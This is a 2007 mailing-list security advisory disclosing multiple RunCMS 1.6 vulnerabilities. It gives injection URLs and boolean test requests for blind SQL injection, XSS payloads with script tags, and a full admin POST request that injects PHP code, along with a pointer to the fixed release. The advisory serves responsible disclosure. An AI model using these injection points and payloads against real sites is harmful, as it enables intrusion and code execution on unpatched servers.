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Message-ID: <1859908520.20071225181205@dsec.ru>
Date: Tue, 25 Dec 2007 18:12:05 +0300
From: Digital Security Research Group <research@...c.ru>
To: bugtraq@...urityfocus.com
Subject: Multiple vulnerabilities in RUNCMS 1.6 by DSecRG
Digital Security Research Group Advisory
Application: RunCMS
Versions Affected: RunCMS 1.6
Vendor URL: http://www.runcms.org
Bugs: SQL Injections, XSS, PHP Include, Predictable session id, etc.
Exploits: Aviable
Reported: 14.12.2007
Vendor response: 15.12.2007
Date of Public Advisory: 25.12.2007
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group (research@...c.ru)
Description
***********
RunCMS system has multiple security vulnerabilities:
1. Blind SQL Injection
2. Stored XSS
3. Linked XSS
4. Image XSS
5. Predictable session id
6. Vulnerable password changing algorithm
7. Many PHP Injections in Administrator panel
Details
*******
1. Multiple Blind SQL Injection
Attacker can inject SQL code in modules:
http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid+DSecRG_INJECTION
http://[server]/[installdir]/modules/mydownloads/visit.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mydownloads/ratefile.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/ratelink.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/modlink.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/brokenlink.php?lid=2+DSecRG_INJECTION
Example:
This query will return link to download file:
GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=1 HTTP/1.0
This query will return error:
GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=0 HTTP/1.0
--------------------------------------------------------------------------------------------
2. Stored XSS
Vulnerability found in script modules/news/submit.php in post parameter name "subject"
Example:
POST http://[server]/[installdir]/modules/news/submit.php HTTP/1.0
subject=<script>alert("DSecRG_XSS")</script>
--------------------------------------------------------------------------------------------
3. Linked XSS vulnerability found in modules/news/index.php, attacker can inject XSS in URL string:
Example:
http://[server]/[installdir]/modules/news/index.php/"><script>alert('DSecRG_XSS')</script>
--------------------------------------------------------------------------------------------
4. Image XSS vulnerability in page edituser.php, attacker can upload avatar picture with XSS code:
Example:
More info: http://www.dsec.ru/about/articles/web_xss/ (in Russian)
--------------------------------------------------------------------------------------------
5. Predictable session id
Session id generator uses a predictable function, so id can be changed manually.
--------------------------------------------------------------------------------------------
6. Password changing vulnerability
Previous password not required to set a new password.
--------------------------------------------------------------------------------------------
7. Administrator page PHP Injection
Administrator can inject PHP code and execute OS commands with webserver user privileges.
page: /modules/system/admin.php?fct=meta-generator
parameter name="header"
parameter name="footer"
page: /modules/system/admin.php?fct=disclaimer
parameter name="disclaimer"
page: /modules/mydownloads/admin/index.php?op=mydownloadsConfigAdmin
parameter name='disclaimer'
page: /modules/newbb_plus/admin/forum_config.php
parameter name="disclaimer"
page: /modules/mylinks/admin/index.php?op=myLinksConfigAdmin
parameter name="disclaimer"
page: /modules/sections/admin/index.php?op=secconfig
parameter name='intro'
Example:
POST /modules/system/admin.php?fct=disclaimer HTTP/1.0
Host=localhost
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7
Keep-Alive=300
Proxy-Connection=keep-alive
Content-Type=application/x-www-form-urlencoded
Content-Length=226
POSTDATA=perpage=10&popular=100&newlinks=10&useshots=0&shotwidth=140&anon_add=0&rss_enable=1&rss_maxitems=5&rss_maxdescription=200&
disclaimer=<?phpinfo();?>&op=myLinksConfigChange
This page can be overwritten by PHP injection:
runcms_1.6\modules\sections\cache\intro.php
runcms_1.6\modules\mylinks\cache\disclaimer.php
runcms_1.6\modules\mydownloads\cache\disclaimer.php
runcms_1.6\modules\newbb_plus\cache\disclaimer.php
runcms_1.6\modules\system\cache\disclaimer.php
runcms_1.6\modules\system\cache\footer.php
runcms_1.6\modules\system\cache\header.php
runcms_1.6\modules\system\cache\maintenance.php
Fix Information
***************
RunCMS was altered to fix this flaw on Dec 15, 2007. Updated version (1.6.1) can be downloaded here:
http://www.runcms.org/modules/mydownloads/visit.php?lid=131
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting,
audit and penetration testing services, risk analysis and ISMS-related services and certification for
ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems
with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research@...c.ru
http://www.dsec.ru (in Russian)
--
Digital Security Research Group mailto:research@...c.ru
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